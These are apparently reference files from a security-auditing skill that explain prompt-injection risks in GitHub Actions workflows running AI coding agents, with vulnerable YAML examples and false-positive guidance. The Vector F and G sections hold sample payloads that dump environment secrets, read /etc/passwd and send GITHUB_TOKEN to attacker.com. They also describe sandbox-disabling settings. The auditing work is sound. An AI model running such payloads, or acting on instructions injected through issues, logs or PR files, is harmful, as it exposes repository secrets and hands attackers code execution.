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package/skills/agentic-actions-auditor/references/vector-c-cli-data-fetch.md

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+# Vector C: CLI Data Fetch
+
+The prompt instructs the AI agent to fetch attacker-controlled content at runtime using `gh` CLI commands. The prompt itself may contain no dangerous expressions or env vars with attacker data, but the AI is directed to pull attacker content from GitHub at execution time. This vector is invisible to static YAML analysis because the data fetch happens inside the AI agent's execution environment -- the workflow YAML looks clean.
+
+## Applicable Actions
+
+| Action | Applicable | Notes |
+|--------|-----------|-------|
+| Claude Code Action | Yes | Confirmed -- uses `gh` CLI via Bash tool to fetch issue/PR content |
+| Gemini CLI | Yes | Can execute `gh` commands if shell tools are enabled |
+| OpenAI Codex | Yes | Can execute `gh` commands if sandbox allows shell access |
+| GitHub AI Inference | No | No shell access -- cannot execute CLI commands at runtime |
+
+Applicability depends on the action having shell/CLI tool access. Actions without shell capabilities cannot fetch data at runtime.
+
+## Trigger Events
+
+Primarily `issues` and `issue_comment` (the AI fetches issue/comment content), but also `pull_request` and `pull_request_target` (fetching PR content, diffs, or review comments). Any trigger that provides an issue number, PR number, or discussion ID the AI can use to fetch attacker-controlled content. See [foundations.md](foundations.md) for the complete list of attacker-controlled contexts and trigger events.
+
+## Data Flow
+
+```
+attacker writes malicious issue body (stored in GitHub)
+  -> workflow triggers on issue event
+  -> prompt instructs AI: "run gh issue view NUMBER"
+  -> AI executes gh issue view at runtime
+  -> gh CLI returns full issue body (attacker-controlled)
+  -> AI processes attacker content from command output
+```
+
+The data never passes through YAML expressions or env vars. The prompt may interpolate only safe values like `${{ github.event.issue.number }}` (an integer), but the `gh` command output contains the full attacker-controlled issue body.
+
+## What to Look For
+
+1. **CLI patterns in prompt text:** `gh issue view`, `gh pr view`, `gh pr diff`, `gh api` commands mentioned in the prompt as tools or instructions for the AI
+2. **Fetch instructions:** Prompt text that tells the AI to "read the issue", "fetch the PR", "get the comment", "review the diff" using CLI tools
+3. **gh authentication setup:** Steps preceding the AI action or `env:` blocks that set up `GITHUB_TOKEN` (required for `gh` CLI authentication) -- indicates the AI has API access
+
+## Where to Look
+
+- The `with.prompt` field -- look for CLI command patterns and natural-language fetch instructions
+- `with.prompt-file` content if the file is readable -- the prompt template may contain fetch instructions
+- `env:` blocks for `GITHUB_TOKEN` on the AI action step (required for `gh` CLI to authenticate)
+- Preceding steps that may configure `gh auth` or set tokens
+
+## Why It Matters
+
+This vector is invisible to static YAML analysis because the attacker-controlled data is not present in the workflow file at all. The prompt looks clean -- no `${{ }}` expressions referencing attacker contexts, no env vars carrying attacker data. But the AI agent is instructed to fetch and process attacker-controlled content at runtime. The distinction between a safe integer (issue number) in the prompt and dangerous content (issue body) returned by the CLI command is subtle and easily overlooked.
+
+## Example: Vulnerable Pattern
+
+```yaml
+on:
+  issues:
+    types: [opened, edited]
+
+jobs:
+  triage:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: anthropics/claude-code-action@v1
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+        with:
+          prompt: |
+            TOOLS:
+            - `gh issue view NUMBER`: Read the issue title, body, and labels
+
+            TASK:
+            1. Run `gh issue view ${{ github.event.issue.number }}` to read the issue details.
+            2. Analyze the issue and suggest appropriate labels.
+            # The issue NUMBER is safe to interpolate (integer)
+            # But gh issue view returns the FULL issue body, which IS attacker-controlled
+```
+
+**Data flow:** `github.event.issue.body` (stored in GitHub) -> `gh issue view` (runtime fetch by AI) -> AI reads command output containing attacker content -> attacker content in AI context.
+
+## False Positives
+
+- **Metadata-only CLI commands:** `gh` commands that only read repository metadata (labels, milestones, project boards) -- output is not attacker-controlled free text
+- **Trusted-author content:** `gh` commands operating on content authored by trusted maintainers (but this is difficult to distinguish statically -- err on the side of flagging)
+- **Explanatory text:** Prompt mentioning `gh` in explanatory or documentation text without actually instructing the AI to execute it (e.g., "this repo uses gh for CLI access")
+- **No shell access:** If the AI action does not have shell/CLI capabilities (e.g., GitHub AI Inference), `gh` commands in the prompt are inert instructions

package/skills/agentic-actions-auditor/references/vector-d-pr-target-checkout.md

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+# Vector D: pull_request_target + PR Head Checkout
+
+An attacker opens a fork pull request against a repository that uses `pull_request_target` to trigger an AI agent workflow. Because `pull_request_target` runs the workflow definition from the **base branch** (not the fork), the workflow has access to repository secrets. If the workflow then checks out the PR head commit, the AI agent reads attacker-modified files from disk while running with those secrets. This combines trusted execution context with untrusted code.
+
+## Applicable Actions
+
+| Action | Applicable | Notes |
+|--------|-----------|-------|
+| Claude Code Action | Yes | Confirmed -- PoC 18. Reads files from checked-out working directory. |
+| Gemini CLI | Yes | Applicable if used with `pull_request_target`. Same filesystem read behavior. |
+| OpenAI Codex | Yes | Applicable. Reads files from working directory for code analysis. |
+| GitHub AI Inference | Possible | Less common, but applicable if the prompt instructs the model to read file contents from disk. |
+
+The key requirement is any AI action that reads files from the checked-out working directory. The attacker embeds prompt injection payloads in code comments, README files, configuration files, or any file the AI is likely to read during review.
+
+## Trigger Events
+
+`pull_request_target` specifically. This trigger runs the workflow from the base branch (with repository secrets) but is activated by external pull requests.
+
+Regular `pull_request` from forks does NOT have this issue because fork PRs do not receive repository secrets. The `pull_request` trigger is safe from a secrets-exfiltration perspective (though code execution may still be a concern in other contexts).
+
+See [foundations.md](foundations.md) for the full trigger events table.
+
+## Data Flow
+
+```
+Attacker opens fork PR
+  -> pull_request_target runs workflow from base branch (has secrets)
+  -> actions/checkout with ref: PR head fetches attacker's code to disk
+  -> AI agent reads files from working directory
+  -> Attacker-modified code processed with access to repository secrets
+```
+
+## What to Look For
+
+**TWO-STEP detection -- BOTH conditions must be true:**
+
+1. **FIRST:** Check the `on:` block for `pull_request_target` trigger
+2. **SECOND:** Look for a checkout step that fetches the PR head:
+   - `actions/checkout` (any version) with `ref:` set to one of:
+     - `${{ github.event.pull_request.head.sha }}`
+     - `${{ github.event.pull_request.head.ref }}`
+     - `${{ github.head_ref }}`
+   - `git checkout` or `git fetch` commands in `run:` steps that fetch the PR head branch or commit
+
+**`pull_request_target` alone is NOT a finding.** Without a checkout of the PR head, the AI agent only sees base branch code, which is trusted. The checkout is what makes the code attacker-controlled.
+
+## Where to Look
+
+1. The `on:` block at the top of the workflow file for `pull_request_target`
+2. All `steps:` in all jobs for `actions/checkout` steps with a `ref:` or `with.ref` field
+3. `run:` steps containing `git checkout`, `git fetch`, or `git switch` commands that reference the PR head
+4. Note: `actions/checkout` WITHOUT a `ref:` field defaults to the base branch (safe under `pull_request_target`)
+
+## Why It Matters
+
+The AI agent runs with base branch secrets -- potentially including `GITHUB_TOKEN` with write permissions, deployment keys, API credentials, and any secrets configured in the repository. But it processes attacker-modified files. The attacker can embed prompt injection payloads in any file the AI is likely to read: code comments, README files, configuration files, test files, or documentation. If the injection succeeds, the AI executes attacker instructions with access to those secrets.
+
+## Example: Vulnerable Pattern
+
+From PoC 18 (frankbria/ralph-claude-code):
+
+```yaml
+on:
+  pull_request_target:                              # Step 1: Runs in base branch context
+    types: [opened, synchronize]
+
+jobs:
+  claude-review:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          ref: ${{ github.event.pull_request.head.sha }}  # Step 2: Checks out ATTACKER's code
+      - uses: anthropics/claude-code-action@v1
+        with:
+          prompt: |
+            Please review this pull request and provide feedback
+            # AI reads attacker-modified files from disk with base repo secrets available
+```
+
+## False Positives
+
+- **`pull_request_target` WITHOUT any checkout of the PR head** -- the AI only sees base branch code, which is trusted. This is the most common false positive.
+- **`pull_request_target` with `actions/checkout` but NO `ref:` field** -- defaults to the base branch, which is safe.
+- **Regular `pull_request` trigger with checkout of PR head** -- fork PRs do not receive secrets, so secret exfiltration is not possible (though code execution in the runner is still a separate concern).
+- **`pull_request_target` used only for labeling, commenting, or status checks** without running an AI agent on the code -- no AI processing means no prompt injection surface.
+- **`pull_request_target` with `ref:` pointing to the base branch explicitly** (e.g., `ref: ${{ github.event.pull_request.base.sha }}`) -- this checks out trusted code.

package/skills/agentic-actions-auditor/references/vector-e-error-log-injection.md

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+# Vector E: Error Log Injection
+
+CI error output, build logs, or test failure messages are fed to an AI agent as context. An attacker crafts code that produces prompt injection payloads in compiler errors, test failure output, or log messages. When these logs are passed to the AI prompt, the AI processes attacker-controlled error messages as trusted instructions.
+
+## Applicable Actions
+
+| Action | Applicable | Notes |
+|--------|-----------|-------|
+| Claude Code Action | Yes | Confirmed -- PoC 23. Receives CI logs via workflow inputs or step outputs. |
+| Gemini CLI | Yes | Applicable if workflow passes build output to prompt. |
+| OpenAI Codex | Yes | Applicable if workflow passes error logs to prompt. |
+| GitHub AI Inference | Yes | Applicable if captured CI output is included in the prompt. |
+
+Any AI action that receives CI output in its prompt is vulnerable. The attacker does not need direct access to the prompt field -- they control what the CI system outputs by crafting code that produces specific error messages.
+
+## Trigger Events
+
+- `workflow_run` -- triggered after another workflow completes; commonly used for "auto-fix CI failures" bots
+- `workflow_dispatch` -- with inputs that carry CI/build output (e.g., `error_logs` input)
+- `check_suite` -- triggered on check completion, may carry check results
+- Any workflow that captures step outputs or artifacts from build/test steps and passes them to an AI prompt
+
+See [foundations.md](foundations.md) for the full trigger events table and attacker-controlled context list.
+
+## Data Flow
+
+```
+Attacker's PR code
+  -> CI build/test step fails
+  -> Error output contains injection payloads
+     (crafted compiler errors, test failure messages with embedded instructions)
+  -> Logs passed to AI prompt via:
+     - ${{ github.event.inputs.error_logs }}
+     - ${{ steps.build.outputs.stderr }}
+     - Artifact content downloaded in a later step
+  -> AI processes attacker-controlled error messages as context
+```
+
+## What to Look For
+
+1. **AI prompt containing `${{ github.event.inputs.* }}`** where inputs carry CI/build output -- especially inputs named `error_logs`, `build_output`, `test_results`, `failure_log`, or similar
+2. **AI prompt referencing step outputs** (`${{ steps.*.outputs.* }}`) from build, test, or lint steps -- particularly `stderr`, `stdout`, `output`, or `log` outputs
+3. **Prompt instructions telling the AI to fix failures** -- phrases like "fix CI failures", "analyze build errors", "debug test output", "resolve the following errors"
+4. **`workflow_run` trigger combined with AI action step** -- common pattern for auto-fix bots that respond to CI failures
+5. **Steps that capture stdout/stderr** and pass content to subsequent AI steps -- look for `run:` steps that redirect output to files or environment variables, followed by AI steps that read those values
+
+## Where to Look
+
+1. The `on:` block for `workflow_run` or `workflow_dispatch` triggers
+2. `workflow_dispatch` `inputs:` definitions -- check if any input is described as carrying logs or error output
+3. The `with.prompt` field for references to step outputs (`${{ steps.*.outputs.* }}`) or workflow inputs (`${{ github.event.inputs.* }}`)
+4. Prior steps in the same job that capture build output (e.g., `run: |` blocks that set outputs or write to files)
+5. Steps that download artifacts from prior workflow runs and feed content to AI prompts
+
+## Why It Matters
+
+The attacker controls what the CI system outputs by carefully crafting their code. A test file can produce test failure messages containing prompt injection. A source file can trigger specific compiler errors with injection payloads embedded in string literals or identifiers. The AI sees this as "CI output to fix" but the error messages contain the attacker's instructions. Because the logs appear to be legitimate CI output, they bypass any prompt framing that instructs the AI to treat user input as untrusted.
+
+## Example: Vulnerable Pattern
+
+From PoC 23 (Significant-Gravitas/AutoGPT):
+
+```yaml
+on:
+  workflow_dispatch:
+    inputs:
+      error_logs:
+        type: string                                # CI logs passed as workflow input
+
+jobs:
+  auto-fix:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: anthropics/claude-code-action@v1
+        with:
+          prompt: |
+            Error logs:
+            ${{ github.event.inputs.error_logs }}   # Attacker-controlled CI output
+            Analyze the CI failure logs above and attempt to fix the issues.
+```
+
+## False Positives
+
+- **CI output from trusted sources only** -- main branch builds failing due to infrastructure issues (not attacker code) are not exploitable if no external PR code contributed to the output
+- **Step outputs containing only structured data** -- exit codes, boolean flags, numeric values, or fixed-format status strings (not free-text error messages) cannot carry meaningful injection payloads
+- **Workflows that only summarize CI status** -- reporting "passed" or "failed" without including actual log content does not expose error message content to the AI
+- **Build logs that are displayed but not passed to AI prompts** -- if the workflow only posts logs as PR comments without feeding them to an AI action, Vector E does not apply (though the logs may still contain injection if another AI processes the comment via Vector B)

package/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md

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+# Vector F: Subshell Expansion in Restricted Tool Lists
+
+Tool restriction lists include commands that support subshell expansion (e.g., `echo`), allowing `echo $(env)` or `echo $(whoami)` to bypass the restriction and execute arbitrary commands. The tool appears safe, but the shell evaluates nested `$()` or backtick expressions BEFORE executing the outer command. A single "safe" command in the allowlist enables arbitrary command execution.
+
+## Applicable Actions
+
+| Action | Applicable | Notes |
+|--------|-----------|-------|
+| Gemini CLI | **Confirmed RCE** | PoCs 1-2 achieved RCE via `run_shell_command(echo)`. The `coreTools` array in settings restricts to specific tool names, but shell expansion bypasses this. |
+| Claude Code Action | Medium confidence | `Bash(echo:*)` in `--allowedTools` is structurally similar -- allows the `echo` command through Bash, which may evaluate subshell expansion. Unconfirmed at runtime. |
+| OpenAI Codex | Medium confidence | If restricted shell commands are allowed via `codex-args`, subshell expansion may apply. Unconfirmed at runtime. |
+| GitHub AI Inference | Not applicable | No shell access -- this action calls a model API, not a shell environment. |
+
+**Confidence note:** This vector is CONFIRMED for Gemini CLI (PoCs 1-2 achieved arbitrary command execution via `echo $(env)` and `echo $(whoami)`). For Claude Code Action and OpenAI Codex, the attack is structurally similar but behavior under subshell expansion needs runtime testing to confirm exploitability.
+
+## Trigger Events
+
+Any trigger event -- this vector is about the action's **tool configuration**, not the trigger. The trigger determines whether attacker-controlled input reaches the AI (via Vectors A, B, or C). Vector F becomes exploitable once the AI has received attacker instructions via any injection path.
+
+See [foundations.md](foundations.md) for trigger events that enable attacker-controlled input.
+
+## Data Flow
+
+```
+Attacker-controlled prompt (via Vectors A/B/C)
+  -> Prompt injection instructs AI to run: echo $(env)
+  -> AI invokes "restricted" echo tool
+  -> Shell evaluates $(env) BEFORE executing echo
+  -> Environment variables (including secrets) dumped to output
+  -> Attacker exfiltrates secrets via output or follow-up commands
+```
+
+The critical insight: the restriction is on the **command name**, not on shell interpretation. The shell processes `$()`, backticks, and process substitution before the restricted command ever executes.
+
+## What to Look For
+
+1. **Gemini CLI:** `with.settings` JSON containing a `coreTools` array that includes `run_shell_command(echo)` or other shell commands supporting expansion
+2. **Claude Code Action:** `with.claude_args` containing `--allowedTools` with `Bash(echo:*)`, `Bash(cat:*)`, `Bash(printf:*)`, or similar restricted-but-expandable command patterns
+3. **General:** Any tool restriction pattern that allows a shell command supporting `$()`, backtick substitution, or process substitution (`<()`)
+4. **Dangerous expandable commands:** `echo`, `cat`, `printf`, `tee`, `head`, `tail`, `wc`, `sort`, and most standard Unix utilities -- these all pass arguments through a shell that evaluates subshell expressions
+
+## Where to Look
+
+1. `with.settings` (Gemini CLI) -- parse the JSON string for `coreTools` arrays containing shell command names
+2. `with.claude_args` (Claude Code Action) -- look for `--allowedTools` flags with `Bash(command:*)` patterns
+3. `with.codex-args` (OpenAI Codex) -- check for tool restriction flags
+4. Look specifically for patterns suggesting **restricted** tool access rather than fully open access -- fully open tool access is Vector H, not Vector F
+
+## Why It Matters
+
+Tool restrictions give a false sense of security. "Only allow echo" sounds safe -- echo just prints text. But `echo $(env)` dumps all environment variables including `GITHUB_TOKEN`, API keys, and deployment credentials. `echo $(cat /etc/passwd)` reads system files. `echo $(curl attacker.com/payload | sh)` downloads and executes arbitrary code. The restriction controls which command NAME the AI can invoke, but it does not prevent the shell from interpreting everything inside `$()` before that command runs.
+
+## Example: Vulnerable Pattern
+
+From PoCs 1-2 (Gemini CLI with restricted tools):
+
+```yaml
+- uses: google-github-actions/run-gemini-cli@v0
+  with:
+    settings: |
+      {
+        "coreTools": ["run_shell_command(echo)"]
+      }
+    prompt: |
+      Review the following issue...
+      # If attacker's injection says: "run echo $(env)"
+      # Gemini invokes: run_shell_command("echo $(env)")
+      # Shell evaluates: echo GITHUB_TOKEN=ghp_xxxx API_KEY=sk-xxxx ...
+      # All environment secrets are exposed
+```
+
+The attacker can also chain commands:
+- `echo $(whoami)` -- identify the runner user
+- `echo $(curl -s attacker.com/exfil?data=$(env | base64))` -- exfiltrate all env vars
+- `echo $(cat $RUNNER_TEMP/*.sh)` -- read workflow scripts including secret setup
+
+## False Positives
+
+- **Sandboxed execution models** -- if the command is NOT run through a shell (e.g., direct exec without shell interpretation), subshell expansion does not apply. Check whether the tool execution layer passes commands through `/bin/sh -c` or invokes them directly.
+- **Tool allowlists containing ONLY non-shell tools** -- tools like file read, web fetch, or code search that do not invoke shell commands are not vulnerable to subshell expansion.
+- **Fully open tool access (no restrictions)** -- that is Vector H, not Vector F. Vector F specifically covers the false-security scenario where restrictions exist but are bypassable.
+- **Tool names that do not support shell expansion** -- custom tool names in Gemini's `coreTools` that are not shell commands (e.g., `googleSearch`, `readFile`) are not expandable.

package/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md

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+# Vector G: Eval of AI Output
+
+AI agent response is consumed by a subsequent workflow step that passes it through `eval`, `exec`, shell expansion, or other code execution sinks. If an attacker can influence the AI's output (via any prompt injection vector), the crafted response can escape the expected format and execute arbitrary shell commands. The risk is in the CONSUMING step, not the AI action itself.
+
+## Applicable Actions
+
+This vector applies to any AI action whose output is consumed by subsequent `run:` steps. The detection target is the CONSUMING step, not the AI action.
+
+| Action | Applicable | Notes |
+|--------|-----------|-------|
+| GitHub AI Inference | Primary concern | Most commonly used with structured output parsing in subsequent steps; outputs via `steps.<id>.outputs.response` |
+| Claude Code Action | Applicable if output captured | Primarily operates on codebase directly, but output can be captured in subsequent steps |
+| Gemini CLI | Applicable if output captured | Primarily operates on codebase directly, but output can be captured in subsequent steps |
+| OpenAI Codex | Applicable if output captured | Primarily operates on codebase directly, but output can be captured in subsequent steps |
+
+## Trigger Events
+
+Any event -- this vector is about how AI output is consumed, not how input reaches the AI. However, it compounds with Vectors A/B/C/E: the AI must receive attacker-controlled input to produce a malicious response.
+
+## Data Flow
+
+```
+attacker issue -> prompt injection (via Vectors A/B/C) -> AI generates crafted response
+  -> subsequent step captures ${{ steps.<ai-step>.outputs.response }}
+  -> response passed through eval / exec / $() expansion
+  -> arbitrary command execution
+```
+
+The AI output crosses a trust boundary: it is treated as trusted data by the subsequent step, but contains attacker-controlled content if prompt injection succeeded.
+
+## What to Look For
+
+1. **Steps AFTER an AI action** that reference `${{ steps.<ai-step-id>.outputs.* }}` in their `run:` block or `env:` block
+2. The consuming step's `run:` block contains any of:
+   - `eval` command
+   - Python `exec()` or `subprocess` with string formatting from AI output
+   - Backtick expansion or `$()` subshell expansion incorporating AI output
+   - Unquoted variable expansion of an env var holding AI output
+3. **Python/Node steps** that use `json.loads()` on AI output and then format values into a shell command (string interpolation into `subprocess.run()` or `os.system()`)
+4. **`env:` blocks** that capture AI output into an env var (e.g., `AI_RESPONSE: ${{ steps.ai-inference.outputs.response }}`), which is then used in an unquoted shell expansion in `run:`
+
+## Where to Look
+
+Steps FOLLOWING the AI action step in the same job. Check:
+- `run:` blocks for `eval`, `exec`, unquoted variable expansion, `$()`, backtick expansion
+- Step-level `env:` blocks for `${{ steps.<ai-step-id>.outputs.* }}` from the AI step
+- Python/Node inline scripts that combine `json.loads()` with shell command construction
+
+## Why It Matters
+
+Even if the AI action itself is sandboxed and restricted, the CONSUMING step may run with full permissions. The `eval` command executes arbitrary shell code within the output string. An attacker who achieves prompt injection in the AI step gains code execution in the consuming step's security context -- which typically has access to `GITHUB_TOKEN`, repository secrets, and full runner filesystem.
+
+## Example: Vulnerable Pattern
+
+From PoC 9 (microsoft/azure-devops-mcp) -- AI Inference output flows to `eval`:
+
+```yaml
+steps:
+  - id: ai-inference
+    uses: actions/ai-inference@v1
+    with:
+      prompt: |
+        Issue Title: ${{ github.event.issue.title }}
+        Issue Description: ${{ github.event.issue.body }}
+        Return a JSON object with a "labels" array.
+
+  # VULNERABLE: AI output flows to eval
+  - name: Apply Labels
+    env:
+      AI_RESPONSE: ${{ steps.ai-inference.outputs.response }}
+    run: |
+      LABELS=$(echo "$AI_RESPONSE" | python3 -c "
+        import sys, json
+        print(' '.join([f'--add-label \"{label}\"' for label in json.load(sys.stdin)['labels']]))
+      ")
+      eval gh issue edit "$ISSUE_NUMBER" $LABELS
+      # eval expands shell metacharacters in AI-generated label values
+      # attacker crafts: {"labels": ["$(curl attacker.com/exfil?t=$GITHUB_TOKEN)"]}
+```
+
+**Data flow:** Attacker issue body contains prompt injection -> AI returns crafted JSON with shell metacharacters in label values -> Python formats labels as shell string -> `eval` executes arbitrary commands embedded in the label values.
+
+## False Positives
+
+- **Safe output consumption:** Steps that reference AI output but only write it to a file (`echo "$OUTPUT" > result.txt`) or post it as a comment (`gh issue comment --body "$OUTPUT"`) -- though HTML injection in comments is a separate concern
+- **Validated output:** Steps that validate/sanitize AI output before using it (e.g., JSON schema validation that rejects unexpected characters or fields)
+- **Read-only usage:** Steps that use AI output only for logging, metrics, or read-only display without shell interpretation
+- **Condition-only usage:** AI outputs used only in `if:` conditions (e.g., `if: steps.ai.outputs.result == 'approved'`) -- limited to equality checks, not shell expansion
+- **Properly quoted variables:** Steps that use `"$AI_RESPONSE"` within commands that do NOT pass through `eval` or `exec` -- normal quoting prevents word splitting but not `eval` expansion
+
+See [foundations.md](foundations.md) for AI action field mappings and the data flow model.

package/skills/agentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md

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+# Vector H: Dangerous Sandbox Configurations
+
+AI action sandbox or safety configurations are set to values that disable protections entirely, giving the AI agent unrestricted shell access, filesystem access, or approval-free execution. These are configuration-level weaknesses that amplify the impact of any prompt injection vector -- turning "attacker can influence AI text output" into "attacker achieves RCE on the CI runner."
+
+## Applicable Actions
+
+| Action | Applicable | Notes |
+|--------|-----------|-------|
+| Claude Code Action | Yes | `claude_args` with `--allowedTools Bash(*)` disables tool restrictions |
+| OpenAI Codex | Yes | `sandbox: danger-full-access` and `safety-strategy: unsafe` disable protections |
+| Gemini CLI | Yes | `"sandbox": false` in settings JSON and `--yolo`/`--approval-mode=yolo` disable sandbox and approval |
+| GitHub AI Inference | No | Inference-only API with no sandbox/tool configuration -- no shell access to restrict |
+
+## Trigger Events
+
+Any event -- this vector is about the action's configuration, not the trigger. The trigger determines whether attacker input reaches the AI; this vector determines the blast radius if prompt injection succeeds.
+
+## Data Flow
+
+No direct data flow -- this is a configuration weakness. The danger:
+
+```
+ANY prompt injection vector (A-F) succeeds
+  + sandbox/safety protections disabled (this vector)
+  = unrestricted code execution on the runner
+```
+
+Without dangerous configs, a successful prompt injection may still be contained by tool restrictions and sandbox boundaries. With dangerous configs, the AI agent has full access to shell, filesystem, environment variables, and network.
+
+## What to Look For
+
+**Claude Code Action (`anthropics/claude-code-action`):**
+
+- `with.claude_args` containing `--allowedTools Bash(*)` or `--allowedTools "Bash(*)"` -- unrestricted shell access, the AI can execute any command
+- `with.claude_args` with broad tool patterns combining multiple unrestricted categories (e.g., `Bash(npm:*) Bash(git:*) Bash(curl:*)`)
+- `with.settings` pointing to a settings file -- flag for manual review, the file may override tool permissions in ways not visible in the workflow YAML
+
+**OpenAI Codex (`openai/codex-action`):**
+
+- `with.sandbox: danger-full-access` -- disables all filesystem restrictions, the AI can read/write anywhere on the runner
+- `with.safety-strategy: unsafe` -- disables safety enforcement for all operations
+- Both together represent maximum exposure: unrestricted filesystem + no safety checks
+
+**Gemini CLI (`google-github-actions/run-gemini-cli`, `google-gemini/gemini-cli-action`):**
+
+- `with.settings` JSON containing `"sandbox": false` -- disables the sandbox entirely
+- CLI args containing `--yolo` or `--approval-mode=yolo` -- disables approval prompts for all tool calls, meaning the AI executes commands without confirmation
+- `with.settings` JSON with broad `coreTools` lists including `run_shell_command` without restrictions (related to Vector F for specific tool analysis)
+
+## Where to Look
+
+The `with:` block of AI action steps:
+
+- **Claude:** Parse `with.claude_args` string for `--allowedTools` patterns. Also check `with.settings` for external config file path
+- **Codex:** Check `with.sandbox` and `with.safety-strategy` field values directly
+- **Gemini:** Parse `with.settings` JSON string for `"sandbox": false` and approval mode settings. Check any args-style fields for `--yolo` or `--approval-mode=yolo`
+
+## Why It Matters
+
+Dangerous sandbox configs turn prompt injection from a text-influence attack into full remote code execution. Without sandbox restrictions, the AI agent can:
+
+- Execute arbitrary shell commands on the runner
+- Read/write all files on the runner filesystem
+- Access environment variables including `GITHUB_TOKEN` and repository secrets
+- Make outbound network requests (data exfiltration)
+- Modify repository contents, create releases, or push code
+
+## Example: Vulnerable Pattern
+
+Three actions with dangerous configurations (from research Example 8):
+
+```yaml
+# Claude Code Action -- unrestricted shell
+- uses: anthropics/claude-code-action@v1
+  with:
+    claude_args: "--allowedTools Bash(*)"
+    prompt: "Review this issue and fix the code"
+
+# OpenAI Codex -- unrestricted filesystem + no safety
+- uses: openai/codex-action@v1
+  with:
+    sandbox: danger-full-access
+    safety-strategy: unsafe
+    prompt: "Fix the bug described in this issue"
+
+# Gemini CLI -- sandbox disabled
+- uses: google-github-actions/run-gemini-cli@v1
+  with:
+    settings: |
+      {"sandbox": false}
+    prompt: "Analyze and fix this issue"
+```
+
+## False Positives
+
+- **Specific restricted tool patterns** in Claude: `--allowedTools "Bash(npm test:*)"` or `--allowedTools "Bash(echo:*)"` -- these are restrictive, not dangerous (though they may be exploitable via Vector F for subshell expansion)
+- **Codex workspace-scoped sandbox:** `sandbox: workspace-write` allows writes but within a workspace boundary, not full system access
+- **Gemini specific tool lists:** `coreTools` containing specific tools but NOT `run_shell_command` -- tool-specific restrictions, not full sandbox disable
+- **Default configurations:** Actions without explicit sandbox/safety config fields -- defaults are generally safe (Claude defaults to restricted tools, Codex defaults to `sandbox: workspace-write`, Gemini defaults to sandbox enabled)
+- **Claude `--allowedTools` with narrow patterns:** e.g., `--allowedTools "Read(*) Grep(*)"` -- read-only tools pose minimal risk
+
+See [foundations.md](foundations.md) for AI action field mappings.

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+# Vector I: Wildcard User Allowlists
+
+User allowlist fields are set to wildcard values (`"*"`) that permit ANY GitHub user -- including external contributors, anonymous users, and potential attackers -- to trigger the AI agent. This removes the last line of defense (user-based gating) that might prevent an external attacker from triggering the AI agent via issues or comments.
+
+## Applicable Actions
+
+| Action | Applicable | Notes |
+|--------|-----------|-------|
+| Claude Code Action | Yes | `allowed_non_write_users: "*"` and `allowed_bots: "*"` confirmed in many PoCs |
+| OpenAI Codex | Yes | `allow-users: "*"` and `allow-bots: "*"` confirmed in PoCs |
+| Gemini CLI | No | No equivalent user allowlist field -- any user who can trigger the workflow event can interact |
+| GitHub AI Inference | No | No equivalent user allowlist field -- access controlled by workflow trigger permissions only |
+
+## Trigger Events
+
+Most relevant with events that external users can trigger:
+
+- `issues` (opened, edited) -- any GitHub user can open an issue on public repos
+- `issue_comment` (created) -- any GitHub user can comment on public issues
+- `pull_request_target` -- external users can open PRs from forks
+
+Wildcard allowlists on `push`-triggered workflows are less concerning because `push` requires write access to the repository.
+
+## Data Flow
+
+No direct data flow -- this is an access control weakness.
+
+```
+any GitHub user (no repo access required)
+  -> opens issue or comments (triggers workflow)
+  -> wildcard allowlist permits the interaction
+  -> AI agent processes attacker-controlled content
+```
+
+The wildcard removes the user-based gate that would otherwise restrict which users can trigger the AI agent response.
+
+## What to Look For
+
+**Claude Code Action (`anthropics/claude-code-action`):**
+
+- `with.allowed_non_write_users: "*"` -- allows any user, even those without repository write access, to trigger the AI agent
+- `with.allowed_bots: "*"` -- allows any bot account to trigger the action
+
+**OpenAI Codex (`openai/codex-action`):**
+
+- `with.allow-users: "*"` -- allows any user to trigger the AI agent
+- `with.allow-bots: "*"` -- allows any bot account to trigger the action
+
+**General pattern:** Any `with:` field containing a user or bot allowlist with value `"*"` or that resolves to unrestricted access.
+
+## Where to Look
+
+The `with:` block of AI action steps. Check for the exact field names listed above with string values of `"*"`.
+
+## Why It Matters
+
+Without user-based gating, any GitHub user can open an issue or comment to trigger the AI agent. The attacker needs no write access, no collaborator status, no special permissions -- just a GitHub account. Combined with Vectors A/B/C (attacker content in prompts), wildcard allowlists create an attack surface accessible to anyone on the internet.
+
+For public repositories, this means any of the billions of GitHub users can interact with the AI agent. For private repositories, the risk is lower since issue creation requires repository access.
+
+## Example: Vulnerable Pattern
+
+From research Example 9 -- both actions with wildcard allowlists:
+
+```yaml
+# Claude Code Action -- any user can trigger
+- uses: anthropics/claude-code-action@v1
+  with:
+    allowed_non_write_users: "*"
+    prompt: |
+      Review this issue: ${{ github.event.issue.body }}
+
+# OpenAI Codex -- any user can trigger
+- uses: openai/codex-action@v1
+  with:
+    allow-users: "*"
+    prompt: |
+      Fix the issue: ${{ github.event.issue.body }}
+```
+
+## False Positives
+
+- **No allowlist field present:** Actions without any user allowlist field typically default to write-access-only users (safe default behavior) -- the absence of the field is not a finding
+- **Explicit user lists:** `allowed_non_write_users: "user1,user2"` or `allow-users: "dependabot[bot],renovate[bot]"` -- restricted to specific users, not wildcard
+- **Bot-only wildcard:** `allowed_bots: "*"` without a wildcard on the user allowlist -- lower risk since bots typically do not open issues with attacker-crafted content, though this should still be noted as a secondary concern
+- **Push-only workflows:** Workflows triggered only by `push` events with wildcard allowlists -- push requires write access anyway, so the allowlist is redundant but not dangerous
+
+See [foundations.md](foundations.md) for AI action field mappings and trigger event details.